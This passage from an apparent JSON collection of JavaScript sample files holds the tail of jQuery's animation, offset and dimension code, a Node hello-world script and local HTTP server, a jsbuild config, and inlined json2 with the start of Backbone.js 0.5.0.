);\n\t\t} else {\n\t\t\tthis.custom( this.prop === \"width\" || this.prop === \"height\" ? 1 : 0, this.cur() );\n\t\t}\n\n\t\t// Start by showing the element\n\t\tjQuery( this.elem ).show();\n\t},\n\n\t// Simple 'hide' function\n\thide: function() {\n\t\t// Remember where we started, so that we can go back to it later\n\t\tthis.options.orig[ this.prop ] = jQuery._data( this.elem, \"fxshow\" + this.prop ) || jQuery.style( this.elem, this.prop );\n\t\tthis.options.hide = true;\n\n\t\t// Begin the animation\n\t\tthis.custom( this.cur(), 0 );\n\t},\n\n\t// Each step of an animation\n\tstep: function( gotoEnd ) {\n\t\tvar p, n, complete,\n\t\t\tt = fxNow || createFxNow(),\n\t\t\tdone = true,\n\t\t\telem = this.elem,\n\t\t\toptions = this.options;\n\n\t\tif ( gotoEnd || t >= options.duration + this.startTime ) {\n\t\t\tthis.now = this.end;\n\t\t\tthis.pos = this.state = 1;\n\t\t\tthis.update();\n\n\t\t\toptions.animatedProperties[ this.prop ] = true;\n\n\t\t\tfor ( p in options.animatedProperties ) {\n\t\t\t\tif ( options.animatedProperties[ p ] !== true ) {\n\t\t\t\t\tdone = false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( done ) {\n\t\t\t\t// Reset the overflow\n\t\t\t\tif ( options.overflow != null && !jQuery.support.shrinkWrapBlocks ) {\n\n\t\t\t\t\tjQuery.each( [ \"\", \"X\", \"Y\" ], function( index, value ) {\n\t\t\t\t\t\telem.style[ \"overflow\" + value ] = options.overflow[ index ];\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\t// Hide the element if the \"hide\" operation was done\n\t\t\t\tif ( options.hide ) {\n\t\t\t\t\tjQuery( elem ).hide();\n\t\t\t\t}\n\n\t\t\t\t// Reset the properties, if the item has been hidden or shown\n\t\t\t\tif ( options.hide || options.show ) {\n\t\t\t\t\tfor ( p in options.animatedProperties ) {\n\t\t\t\t\t\tjQuery.style( elem, p, options.orig[ p ] );\n\t\t\t\t\t\tjQuery.removeData( elem, \"fxshow\" + p, true );\n\t\t\t\t\t\t// Toggle data is no longer needed\n\t\t\t\t\t\tjQuery.removeData( elem, \"toggle\" + p, true );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Execute the complete function\n\t\t\t\t// in the event that the complete function throws an exception\n\t\t\t\t// we must ensure it won't be called twice. #5684\n\n\t\t\t\tcomplete = options.complete;\n\t\t\t\tif ( complete ) {\n\n\t\t\t\t\toptions.complete = false;\n\t\t\t\t\tcomplete.call( elem );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn false;\n\n\t\t} else {\n\t\t\t// classical easing cannot be used with an Infinity duration\n\t\t\tif ( options.duration == Infinity ) {\n\t\t\t\tthis.now = t;\n\t\t\t} else {\n\t\t\t\tn = t - this.startTime;\n\t\t\t\tthis.state = n / options.duration;\n\n\t\t\t\t// Perform the easing function, defaults to swing\n\t\t\t\tthis.pos = jQuery.easing[ options.animatedProperties[this.prop] ]( this.state, n, 0, 1, options.duration );\n\t\t\t\tthis.now = this.start + ( (this.end - this.start) * this.pos );\n\t\t\t}\n\t\t\t// Perform the next step of the animation\n\t\t\tthis.update();\n\t\t}\n\n\t\treturn true;\n\t}\n};\n\njQuery.extend( jQuery.fx, {\n\ttick: function() {\n\t\tvar timer,\n\t\t\ttimers = jQuery.timers,\n\t\t\ti = 0;\n\n\t\tfor ( ; i < timers.length; i++ ) {\n\t\t\ttimer = timers[ i ];\n\t\t\t// Checks the timer has not already been removed\n\t\t\tif ( !timer() && timers[ i ] === timer ) {\n\t\t\t\ttimers.splice( i--, 1 );\n\t\t\t}\n\t\t}\n\n\t\tif ( !timers.length ) {\n\t\t\tjQuery.fx.stop();\n\t\t}\n\t},\n\n\tinterval: 13,\n\n\tstop: function() {\n\t\tclearInterval( timerId );\n\t\ttimerId = null;\n\t},\n\n\tspeeds: {\n\t\tslow: 600,\n\t\tfast: 200,\n\t\t// Default speed\n\t\t_default: 400\n\t},\n\n\tstep: {\n\t\topacity: function( fx ) {\n\t\t\tjQuery.style( fx.elem, \"opacity\", fx.now );\n\t\t},\n\n\t\t_default: function( fx ) {\n\t\t\tif ( fx.elem.style && fx.elem.style[ fx.prop ] != null ) {\n\t\t\t\tfx.elem.style[ fx.prop ] = fx.now + fx.unit;\n\t\t\t} else {\n\t\t\t\tfx.elem[ fx.prop ] = fx.now;\n\t\t\t}\n\t\t}\n\t}\n});\n\n// Ensure props that can't be negative don't go there on undershoot easing\njQuery.each( fxAttrs.concat.apply( [], fxAttrs ), function( i, prop ) {\n\t// exclude marginTop, marginLeft, marginBottom and marginRight from this list\n\tif ( prop.indexOf( \"margin\" ) ) {\n\t\tjQuery.fx.step[ prop ] = function( fx ) {\n\t\t\tjQuery.style( fx.elem, prop, Math.max(0, fx.now) + fx.unit );\n\t\t};\n\t}\n});\n\nif ( jQuery.expr && jQuery.expr.filters ) {\n\tjQuery.expr.filters.animated = function( elem ) {\n\t\treturn jQuery.grep(jQuery.timers, function( fn ) {\n\t\t\treturn elem === fn.elem;\n\t\t}).length;\n\t};\n}\n\n// Try to restore the default display value of an element\nfunction defaultDisplay( nodeName ) {\n\n\tif ( !elemdisplay[ nodeName ] ) {\n\n\t\tvar body = document.body,\n\t\t\telem = jQuery( \"<\" + nodeName + \">\" ).appendTo( body ),\n\t\t\tdisplay = elem.css( \"display\" );\n\t\telem.remove();\n\n\t\t// If the simple way fails,\n\t\t// get element's real default display by attaching it to a temp iframe\n\t\tif ( display === \"none\" || display === \"\" ) {\n\t\t\t// No iframe to use yet, so create it\n\t\t\tif ( !iframe ) {\n\t\t\t\tiframe = document.createElement( \"iframe\" );\n\t\t\t\tiframe.frameBorder = iframe.width = iframe.height = 0;\n\t\t\t}\n\n\t\t\tbody.appendChild( iframe );\n\n\t\t\t// Create a cacheable copy of the iframe document on first call.\n\t\t\t// IE and Opera will allow us to reuse the iframeDoc without re-writing the fake HTML\n\t\t\t// document to it; WebKit & Firefox won't allow reusing the iframe document.\n\t\t\tif ( !iframeDoc || !iframe.createElement ) {\n\t\t\t\tiframeDoc = ( iframe.contentWindow || iframe.contentDocument ).document;\n\t\t\t\tiframeDoc.write( ( jQuery.support.boxModel ? \"<!doctype html>\" : \"\" ) + \"<html><body>\" );\n\t\t\t\tiframeDoc.close();\n\t\t\t}\n\n\t\t\telem = iframeDoc.createElement( nodeName );\n\n\t\t\tiframeDoc.body.appendChild( elem );\n\n\t\t\tdisplay = jQuery.css( elem, \"display\" );\n\t\t\tbody.removeChild( iframe );\n\t\t}\n\n\t\t// Store the correct default display\n\t\telemdisplay[ nodeName ] = display;\n\t}\n\n\treturn elemdisplay[ nodeName ];\n}\n\n\n\n\nvar getOffset,\n\trtable = /^t(?:able|d|h)$/i,\n\trroot = /^(?:body|html)$/i;\n\nif ( \"getBoundingClientRect\" in document.documentElement ) {\n\tgetOffset = function( elem, doc, docElem, box ) {\n\t\ttry {\n\t\t\tbox = elem.getBoundingClientRect();\n\t\t} catch(e) {}\n\n\t\t// Make sure we're not dealing with a disconnected DOM node\n\t\tif ( !box || !jQuery.contains( docElem, elem ) ) {\n\t\t\treturn box ? { top: box.top, left: box.left } : { top: 0, left: 0 };\n\t\t}\n\n\t\tvar body = doc.body,\n\t\t\twin = getWindow( doc ),\n\t\t\tclientTop  = docElem.clientTop  || body.clientTop  || 0,\n\t\t\tclientLeft = docElem.clientLeft || body.clientLeft || 0,\n\t\t\tscrollTop  = win.pageYOffset || jQuery.support.boxModel && docElem.scrollTop  || body.scrollTop,\n\t\t\tscrollLeft = win.pageXOffset || jQuery.support.boxModel && docElem.scrollLeft || body.scrollLeft,\n\t\t\ttop  = box.top  + scrollTop  - clientTop,\n\t\t\tleft = box.left + scrollLeft - clientLeft;\n\n\t\treturn { top: top, left: left };\n\t};\n\n} else {\n\tgetOffset = function( elem, doc, docElem ) {\n\t\tvar computedStyle,\n\t\t\toffsetParent = elem.offsetParent,\n\t\t\tprevOffsetParent = elem,\n\t\t\tbody = doc.body,\n\t\t\tdefaultView = doc.defaultView,\n\t\t\tprevComputedStyle = defaultView ? defaultView.getComputedStyle( elem, null ) : elem.currentStyle,\n\t\t\ttop = elem.offsetTop,\n\t\t\tleft = elem.offsetLeft;\n\n\t\twhile ( (elem = elem.parentNode) && elem !== body && elem !== docElem ) {\n\t\t\tif ( jQuery.support.fixedPosition && prevComputedStyle.position === \"fixed\" ) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tcomputedStyle = defaultView ? defaultView.getComputedStyle(elem, null) : elem.currentStyle;\n\t\t\ttop  -= elem.scrollTop;\n\t\t\tleft -= elem.scrollLeft;\n\n\t\t\tif ( elem === offsetParent ) {\n\t\t\t\ttop  += elem.offsetTop;\n\t\t\t\tleft += elem.offsetLeft;\n\n\t\t\t\tif ( jQuery.support.doesNotAddBorder && !(jQuery.support.doesAddBorderForTableAndCells && rtable.test(elem.nodeName)) ) {\n\t\t\t\t\ttop  += parseFloat( computedStyle.borderTopWidth  ) || 0;\n\t\t\t\t\tleft += parseFloat( computedStyle.borderLeftWidth ) || 0;\n\t\t\t\t}\n\n\t\t\t\tprevOffsetParent = offsetParent;\n\t\t\t\toffsetParent = elem.offsetParent;\n\t\t\t}\n\n\t\t\tif ( jQuery.support.subtractsBorderForOverflowNotVisible && computedStyle.overflow !== \"visible\" ) {\n\t\t\t\ttop  += parseFloat( computedStyle.borderTopWidth  ) || 0;\n\t\t\t\tleft += parseFloat( computedStyle.borderLeftWidth ) || 0;\n\t\t\t}\n\n\t\t\tprevComputedStyle = computedStyle;\n\t\t}\n\n\t\tif ( prevComputedStyle.position === \"relative\" || prevComputedStyle.position === \"static\" ) {\n\t\t\ttop  += body.offsetTop;\n\t\t\tleft += body.offsetLeft;\n\t\t}\n\n\t\tif ( jQuery.support.fixedPosition && prevComputedStyle.position === \"fixed\" ) {\n\t\t\ttop  += Math.max( docElem.scrollTop, body.scrollTop );\n\t\t\tleft += Math.max( docElem.scrollLeft, body.scrollLeft );\n\t\t}\n\n\t\treturn { top: top, left: left };\n\t};\n}\n\njQuery.fn.offset = function( options ) {\n\tif ( arguments.length ) {\n\t\treturn options === undefined ?\n\t\t\tthis :\n\t\t\tthis.each(function( i ) {\n\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t});\n\t}\n\n\tvar elem = this[0],\n\t\tdoc = elem && elem.ownerDocument;\n\n\tif ( !doc ) {\n\t\treturn null;\n\t}\n\n\tif ( elem === doc.body ) {\n\t\treturn jQuery.offset.bodyOffset( elem );\n\t}\n\n\treturn getOffset( elem, doc, doc.documentElement );\n};\n\njQuery.offset = {\n\n\tbodyOffset: function( body ) {\n\t\tvar top = body.offsetTop,\n\t\t\tleft = body.offsetLeft;\n\n\t\tif ( jQuery.support.doesNotIncludeMarginInBodyOffset ) {\n\t\t\ttop  += parseFloat( jQuery.css(body, \"marginTop\") ) || 0;\n\t\t\tleft += parseFloat( jQuery.css(body, \"marginLeft\") ) || 0;\n\t\t}\n\n\t\treturn { top: top, left: left };\n\t},\n\n\tsetOffset: function( elem, options, i ) {\n\t\tvar position = jQuery.css( elem, \"position\" );\n\n\t\t// set position first, in-case top/left are set even on static elem\n\t\tif ( position === \"static\" ) {\n\t\t\telem.style.position = \"relative\";\n\t\t}\n\n\t\tvar curElem = jQuery( elem ),\n\t\t\tcurOffset = curElem.offset(),\n\t\t\tcurCSSTop = jQuery.css( elem, \"top\" ),\n\t\t\tcurCSSLeft = jQuery.css( elem, \"left\" ),\n\t\t\tcalculatePosition = ( position === \"absolute\" || position === \"fixed\" ) && jQuery.inArray(\"auto\", [curCSSTop, curCSSLeft]) > -1,\n\t\t\tprops = {}, curPosition = {}, curTop, curLeft;\n\n\t\t// need to be able to calculate position if either top or left is auto and position is either absolute or fixed\n\t\tif ( calculatePosition ) {\n\t\t\tcurPosition = curElem.position();\n\t\t\tcurTop = curPosition.top;\n\t\t\tcurLeft = curPosition.left;\n\t\t} else {\n\t\t\tcurTop = parseFloat( curCSSTop ) || 0;\n\t\t\tcurLeft = parseFloat( curCSSLeft ) || 0;\n\t\t}\n\n\t\tif ( jQuery.isFunction( options ) ) {\n\t\t\toptions = options.call( elem, i, curOffset );\n\t\t}\n\n\t\tif ( options.top != null ) {\n\t\t\tprops.top = ( options.top - curOffset.top ) + curTop;\n\t\t}\n\t\tif ( options.left != null ) {\n\t\t\tprops.left = ( options.left - curOffset.left ) + curLeft;\n\t\t}\n\n\t\tif ( \"using\" in options ) {\n\t\t\toptions.using.call( elem, props );\n\t\t} else {\n\t\t\tcurElem.css( props );\n\t\t}\n\t}\n};\n\n\njQuery.fn.extend({\n\n\tposition: function() {\n\t\tif ( !this[0] ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tvar elem = this[0],\n\n\t\t// Get *real* offsetParent\n\t\toffsetParent = this.offsetParent(),\n\n\t\t// Get correct offsets\n\t\toffset       = this.offset(),\n\t\tparentOffset = rroot.test(offsetParent[0].nodeName) ? { top: 0, left: 0 } : offsetParent.offset();\n\n\t\t// Subtract element margins\n\t\t// note: when an element has margin: auto the offsetLeft and marginLeft\n\t\t// are the same in Safari causing offset.left to incorrectly be 0\n\t\toffset.top  -= parseFloat( jQuery.css(elem, \"marginTop\") ) || 0;\n\t\toffset.left -= parseFloat( jQuery.css(elem, \"marginLeft\") ) || 0;\n\n\t\t// Add offsetParent borders\n\t\tparentOffset.top  += parseFloat( jQuery.css(offsetParent[0], \"borderTopWidth\") ) || 0;\n\t\tparentOffset.left += parseFloat( jQuery.css(offsetParent[0], \"borderLeftWidth\") ) || 0;\n\n\t\t// Subtract the two offsets\n\t\treturn {\n\t\t\ttop:  offset.top  - parentOffset.top,\n\t\t\tleft: offset.left - parentOffset.left\n\t\t};\n\t},\n\n\toffsetParent: function() {\n\t\treturn this.map(function() {\n\t\t\tvar offsetParent = this.offsetParent || document.body;\n\t\t\twhile ( offsetParent && (!rroot.test(offsetParent.nodeName) && jQuery.css(offsetParent, \"position\") === \"static\") ) {\n\t\t\t\toffsetParent = offsetParent.offsetParent;\n\t\t\t}\n\t\t\treturn offsetParent;\n\t\t});\n\t}\n});\n\n\n// Create scrollLeft and scrollTop methods\njQuery.each( {scrollLeft: \"pageXOffset\", scrollTop: \"pageYOffset\"}, function( method, prop ) {\n\tvar top = /Y/.test( prop );\n\n\tjQuery.fn[ method ] = function( val ) {\n\t\treturn jQuery.access( this, function( elem, method, val ) {\n\t\t\tvar win = getWindow( elem );\n\n\t\t\tif ( val === undefined ) {\n\t\t\t\treturn win ? (prop in win) ? win[ prop ] :\n\t\t\t\t\tjQuery.support.boxModel && win.document.documentElement[ method ] ||\n\t\t\t\t\t\twin.document.body[ method ] :\n\t\t\t\t\telem[ method ];\n\t\t\t}\n\n\t\t\tif ( win ) {\n\t\t\t\twin.scrollTo(\n\t\t\t\t\t!top ? val : jQuery( win ).scrollLeft(),\n\t\t\t\t\t top ? val : jQuery( win ).scrollTop()\n\t\t\t\t);\n\n\t\t\t} else {\n\t\t\t\telem[ method ] = val;\n\t\t\t}\n\t\t}, method, val, arguments.length, null );\n\t};\n});\n\nfunction getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ?\n\t\telem :\n\t\telem.nodeType === 9 ?\n\t\t\telem.defaultView || elem.parentWindow :\n\t\t\tfalse;\n}\n\n\n\n\n// Create width, height, innerHeight, innerWidth, outerHeight and outerWidth methods\njQuery.each( { Height: \"height\", Width: \"width\" }, function( name, type ) {\n\tvar clientProp = \"client\" + name,\n\t\tscrollProp = \"scroll\" + name,\n\t\toffsetProp = \"offset\" + name;\n\n\t// innerHeight and innerWidth\n\tjQuery.fn[ \"inner\" + name ] = function() {\n\t\tvar elem = this[0];\n\t\treturn elem ?\n\t\t\telem.style ?\n\t\t\tparseFloat( jQuery.css( elem, type, \"padding\" ) ) :\n\t\t\tthis[ type ]() :\n\t\t\tnull;\n\t};\n\n\t// outerHeight and outerWidth\n\tjQuery.fn[ \"outer\" + name ] = function( margin ) {\n\t\tvar elem = this[0];\n\t\treturn elem ?\n\t\t\telem.style ?\n\t\t\tparseFloat( jQuery.css( elem, type, margin ? \"margin\" : \"border\" ) ) :\n\t\t\tthis[ type ]() :\n\t\t\tnull;\n\t};\n\n\tjQuery.fn[ type ] = function( value ) {\n\t\treturn jQuery.access( this, function( elem, type, value ) {\n\t\t\tvar doc, docElemProp, orig, ret;\n\n\t\t\tif ( jQuery.isWindow( elem ) ) {\n\t\t\t\t// 3rd condition allows Nokia support, as it supports the docElem prop but not CSS1Compat\n\t\t\t\tdoc = elem.document;\n\t\t\t\tdocElemProp = doc.documentElement[ clientProp ];\n\t\t\t\treturn jQuery.support.boxModel && docElemProp ||\n\t\t\t\t\tdoc.body && doc.body[ clientProp ] || docElemProp;\n\t\t\t}\n\n\t\t\t// Get document width or height\n\t\t\tif ( elem.nodeType === 9 ) {\n\t\t\t\t// Either scroll[Width/Height] or offset[Width/Height], whichever is greater\n\t\t\t\tdoc = elem.documentElement;\n\n\t\t\t\t// when a window > document, IE6 reports a offset[Width/Height] > client[Width/Height]\n\t\t\t\t// so we can't use max, as it'll choose the incorrect offset[Width/Height]\n\t\t\t\t// instead we use the correct client[Width/Height]\n\t\t\t\t// support:IE6\n\t\t\t\tif ( doc[ clientProp ] >= doc[ scrollProp ] ) {\n\t\t\t\t\treturn doc[ clientProp ];\n\t\t\t\t}\n\n\t\t\t\treturn Math.max(\n\t\t\t\t\telem.body[ scrollProp ], doc[ scrollProp ],\n\t\t\t\t\telem.body[ offsetProp ], doc[ offsetProp ]\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// Get width or height on the element\n\t\t\tif ( value === undefined ) {\n\t\t\t\torig = jQuery.css( elem, type );\n\t\t\t\tret = parseFloat( orig );\n\t\t\t\treturn jQuery.isNumeric( ret ) ? ret : orig;\n\t\t\t}\n\n\t\t\t// Set the width or height on the element\n\t\t\tjQuery( elem ).css( type, value );\n\t\t}, type, value, arguments.length, null );\n\t};\n});\n\n\n\n\n// Expose jQuery to the global object\nwindow.jQuery = window.$ = jQuery;\n\n// Expose jQuery as an AMD module, but only for AMD loaders that\n// understand the issues with loading multiple versions of jQuery\n// in a page that all might call define(). The loader will indicate\n// they have special allowances for multiple jQuery versions by\n// specifying define.amd.jQuery = true. Register as a named module,\n// since jQuery can be concatenated with other files that may use define,\n// but not use a proper concatenation script that understands anonymous\n// AMD modules. A named AMD is safest and most robust way to register.\n// Lowercase jquery is used because AMD module names are derived from\n// file names, and jQuery is normally delivered in a lowercase file name.\n// Do this after creating the global so that if an AMD module wants to call\n// noConflict to hide this version of jQuery, it will work.\nif ( typeof define === \"function\" && define.amd && define.amd.jQuery ) {\n\tdefine( \"jquery\", [], function () { return jQuery; } );\n}\n\n\n\n})( window );\n"
  },
  {
    "path": "samples/JavaScript/js",
    "content": "#!/usr/bin/env node\nconsole.log(\"Node\")\n"
  },
  {
    "path": "samples/JavaScript/js2",
    "content": "#!/usr/bin/env node\nvar http = require('http');\nhttp.createServer(function (req, res) {\n  res.writeHead(200, {'Content-Type': 'text/plain'});\n  res.end('Hello World\\n');\n}).listen(1337, '127.0.0.1');\nconsole.log('Server running at http://127.0.0.1:1337/');\n"
  },
  {
    "path": "samples/JavaScript/jsbuild.jsb",
    "content": "jsb.library('mylibrary', jsb.STATIC_LIBRARY, function(libObject) {\n    libObject.outputName = 'mylibrary';\n    libObject.cflags = [ '-Wall' ];\n    libObject.ldflags = [ '-pthread' ];\n    libObject.includePaths = [ 'src/include' ];\n    libObject.sources = [ \n        'src/main.cpp',\n        'src/app.cpp'\n    ];\n});\n\njsb.build();\n"
  },
  {
    "path": "samples/JavaScript/json2_backbone.js",
    "content": "// Inline json2\nvar JSON;if(!JSON){JSON={}}(function(){function f(n){return n<10?\"0\"+n:n}if(typeof Date.prototype.toJSON!==\"function\"){Date.prototype.toJSON=function(key){return isFinite(this.valueOf())?this.getUTCFullYear()+\"-\"+f(this.getUTCMonth()+1)+\"-\"+f(this.getUTCDate())+\"T\"+f(this.getUTCHours())+\":\"+f(this.getUTCMinutes())+\":\"+f(this.getUTCSeconds())+\"Z\":null};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(key){return this.valueOf()}}var cx=/[\\u0000\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g,escapable=/[\\\\\\\"\\x00-\\x1f\\x7f-\\x9f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g,gap,indent,meta={\"\\b\":\"\\\\b\",\"\\t\":\"\\\\t\",\"\\n\":\"\\\\n\",\"\\f\":\"\\\\f\",\"\\r\":\"\\\\r\",'\"':'\\\\\"',\"\\\\\":\"\\\\\\\\\"},rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'\"'+string.replace(escapable,function(a){var c=meta[a];return typeof c===\"string\"?c:\"\\\\u\"+(\"0000\"+a.charCodeAt(0).toString(16)).slice(-4)})+'\"':'\"'+string+'\"'}function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value===\"object\"&&typeof value.toJSON===\"function\"){value=value.toJSON(key)}if(typeof rep===\"function\"){value=rep.call(holder,key,value)}switch(typeof value){case\"string\":return quote(value);case\"number\":return isFinite(value)?String(value):\"null\";case\"boolean\":case\"null\":return String(value);case\"object\":if(!value){return\"null\"}gap+=indent;partial=[];if(Object.prototype.toString.apply(value)===\"[object Array]\"){length=value.length;for(i=0;i<length;i+=1){partial[i]=str(i,value)||\"null\"}v=partial.length===0?\"[]\":gap?\"[\\n\"+gap+partial.join(\",\\n\"+gap)+\"\\n\"+mind+\"]\":\"[\"+partial.join(\",\")+\"]\";gap=mind;return v}if(rep&&typeof rep===\"object\"){length=rep.length;for(i=0;i<length;i+=1){if(typeof rep[i]===\"string\"){k=rep[i];v=str(k,value);if(v){partial.push(quote(k)+(gap?\": \":\":\")+v)}}}}else{for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=str(k,value);if(v){partial.push(quote(k)+(gap?\": \":\":\")+v)}}}}v=partial.length===0?\"{}\":gap?\"{\\n\"+gap+partial.join(\",\\n\"+gap)+\"\\n\"+mind+\"}\":\"{\"+partial.join(\",\")+\"}\";gap=mind;return v}}if(typeof JSON.stringify!==\"function\"){JSON.stringify=function(value,replacer,space){var i;gap=\"\";indent=\"\";if(typeof space===\"number\"){for(i=0;i<space;i+=1){indent+=\" \"}}else{if(typeof space===\"string\"){indent=space}}rep=replacer;if(replacer&&typeof replacer!==\"function\"&&(typeof replacer!==\"object\"||typeof replacer.length!==\"number\")){throw new Error(\"JSON.stringify\")}return str(\"\",{\"\":value})}}if(typeof JSON.parse!==\"function\"){JSON.parse=function(text,reviver){var j;function walk(holder,key){var k,v,value=holder[key];if(value&&typeof value===\"object\"){for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=walk(value,k);if(v!==undefined){value[k]=v}else{delete value[k]}}}}return reviver.call(holder,key,value)}text=String(text);cx.lastIndex=0;if(cx.test(text)){text=text.replace(cx,function(a){return\"\\\\u\"+(\"0000\"+a.charCodeAt(0).toString(16)).slice(-4)})}if(/^[\\],:{}\\s]*$/.test(text.replace(/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,\"@\").replace(/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,\"]\").replace(/(?:^|:|,)(?:\\s*\\[)+/g,\"\"))){j=eval(\"(\"+text+\")\");return typeof reviver===\"function\"?walk({\"\":j},\"\"):j}throw new SyntaxError(\"JSON.parse\")}}}());\n\n//     Backbone.js 0.5.0\n//     (c) 2010 Jeremy Ashkenas, DocumentCloud Inc.\n//     Backbone may be freely distributed under the MIT license.\n//     For all details and documentation:\n//     http://documentcloud.github.com/backbone\n\n(function(){\n\n  // Initial Setup\n  // -------------\n\n  // Save a reference to the global object.\n  var root = this;\n\n  // Save the previous value of the `Backbone` variable.\n  var previousBackbone = root.Backbone;\n\n  // The top-level namespace. All public Backbone classes and modules will\n  // be attached to this. Exported for both CommonJS and the browser.\n  var Backbone;\n  if (typeof exports !== 'undefined') {\n    Backbone = exports;\n  } else {\n    Backbone = root.Backbone = {};\n  }\n\n  // Current version of the library. Keep in sync with `package.json`.\n  Backbone.VERSION = '0.5.0';\n\n  // Require Underscore, if we're on the server, and it's not already present.\n  var _ = root._;\n  if (!_ && (typeof require !== 'undefined')) _ = require('underscore')._;\n\n  // For Backbone's purposes, jQuery or Zepto owns the `$` variable.\n  var $ = root.jQuery || root.Zepto;\n\n  // Runs Backbone.js in *noConflict* mode, returning the `Backbone` variable\n  // to its previous owner. Returns a reference to this Backbone object.\n  Backbone.noConflict = function() {\n    root.Backbone = previousBackbone;\n    return this;\n  };\n\n  // Turn on `emulateHTTP` to use support legacy HTTP servers. Setting this option will\n  // fake `\"PUT\"` and `\"DELETE\"` requests via the `_method` parameter and set a\n  // `X-Http-Method-Override` header.\n  Backbone.emulateHTTP = false;\n\n  // Turn on `emulateJSON` to support legacy servers that can't deal with direct\n  // `application/json` requests ... will encode the body as\n  // `application/x-www-form-urlencoded` instead and will send the model in a\n  // form param named `model`.\n  Backbone.emulateJSON = false;\n\n  // Backbone.Events\n  // -----------------\n\n  // A module that can be mixed in to *any object* in order to provide it with\n  // custom events. You may `bind` or `unbind` a callback function to an event;\n  // `trigger`-ing an event fires all callbacks in succession.\n  //\n  //     var object = {};\n  //     _.extend(object, Backbone.Events);\n  //     object.bind('expand', function(){ alert('expanded'); });\n  //     object.trigger('expand');\n  //\n  Backbone.Events = {\n\n    // Bind an event, specified by a string name, `ev`, to a `callback` function.\n    // Passing `\"all\"` will bind the callback to all events fired.\n    bind : function(ev, callback) {\n      var calls = this._callbacks || (this._callbacks = {});\n      var list  = calls[ev] || (calls[ev] = []);\n      list.push(callback);\n      return this;\n    },\n\n    // Remove one or many callbacks. If `callback` is null, removes all\n    // callbacks for the event. If `ev` is null, removes all bound callbacks\n    // for all events.\n    unbind : function(ev, callback) {\n      var calls;\n      if (!ev) {\n        this._callbacks = {};\n      } else if (calls = this._callbacks) {\n        if (!callback) {\n          calls[ev] = [];\n        } else {\n          var list = calls[ev];\n          if (!list) return this;\n          for (var i = 0, l = list.length; i < l; i++) {\n            if (callback === list[i]) {\n              list[i] = null;\n              break;\n            }\n          }\n        }\n      }\n      return this;\n    },\n\n    // Trigger an event, firing all bound callbacks. Callbacks are passed the\n    // same arguments as `trigger` is, apart from the event name.\n    // Listening for `\"all\"` passes the true event name as the first argument.\n    trigger : function(eventName) {\n      var list, calls, ev, callback, args;\n      var both = 2;\n      if (!(calls = this._callbacks)) return this;\n      while (both--) {\n        ev = both ? eventName : 'all';\n        if (list = calls[ev]) {\n          for (var i = 0, l = list.length; i < l; i++) {\n            if (!(callback = list[i])) {\n              list.splice(i, 1); i--; l--;\n            } else {\n              args = both ? Array.prototype.slice.call(arguments, 1) : arguments;\n              callback.apply(this, args);\n            }\n          }\n        }\n      }\n      return this;\n    }\n\n  };\n\n  // Backbone.Model\n  // --------------\n\n  // Create a new model, with defined attributes. A client id (`cid`)\n  // is automatically generated and assigned for you.\n  Backbone.Model = function(attributes, options) {\n    var defaults;\n    attributes || (attributes = {});\n    if (defaults = this.defaults) {\n      if (_.isFunction(defaults)) defaults = defaults();\n      attributes = _.extend({}, defaults, attributes);\n    }\n    this.attributes = {};\n    this._escapedAttributes = {};\n    this.cid = _.uniqueId('c');\n    this.set(attributes, {silent : true});\n    this._changed = false;\n    this._previousAttributes = _.clone(this.attributes);\n    if (options && options.collection) this.collection = options.collection;\n    this.initialize.apply(this, arguments);\n  };\n\n  // Attach all inheritable methods to the Model prototype.\n  _.extend(Backbone.Model.prototype, Backbone.Events, {\n\n    // A snapshot of the model's previous attributes, taken immediately\n    // after the last `\"change\"` event was fired.\n    _previousAttributes : null,\n\n    // Has the item been changed since the last `\"change\"` event?\n    _changed : false,\n\n    // The default name for the JSON `id` attribute is `\"id\"`. MongoDB and\n    // CouchDB users may want to set this to `\"_id\"`.\n    idAttribute : 'id',\n\n    // Initialize is an empty function by default. Override it with your own\n    // initialization logic.\n    initialize : function(){},\n\n    // Return a copy of the model's `attributes` object.\n    toJSON : function() {\n      return _.clone(this.attributes);\n    },\n\n    // Get the value of an attribute.\n    get : function(attr) {\n      return this.attributes[attr];\n    },\n\n    // Get the HTML-escaped value of an attribute.\n    escape : function(attr) {\n      var html;\n      if (html = this._escapedAttributes[attr]) return html;\n      var val = this.attributes[attr];\n      return this._escapedAttributes[attr] = escapeHTML(val == null ? '' : '' + val);\n    },\n\n    // Returns `true` if the attribute contains a value that is not null\n    // or undefined.\n    has : function(attr) {\n      return this.attributes[attr] != null;\n    },\n\n    // Set a hash of model attributes on the object, firing `\"change\"` unless you\n    // choose to silence it.\n    set : function(attrs, options) {\n\n      // Extract attributes and options.\n      options || (options = {});\n      if (!attrs) return this;\n      if (attrs.attributes) attrs = attrs.attributes;\n      var now = this.attributes, escaped = this._escapedAttributes;\n\n      // Run validation.\n      if (!options.silent && this.validate && !this._performValidation(attrs, options)) return false;\n\n      // Check for changes of `id`.\n      if (this.idAttribute in attrs) this.id = attrs[this.idAttribute];\n\n      // We're about to start triggering change events.\n      var alreadyChanging = this._changing;\n      this._changing = true;\n\n      // Update attributes.\n      for (var attr in attrs) {\n        var val = attrs[attr];\n        if (!_.isEqual(now[attr], val)) {\n          now[attr] = val;\n          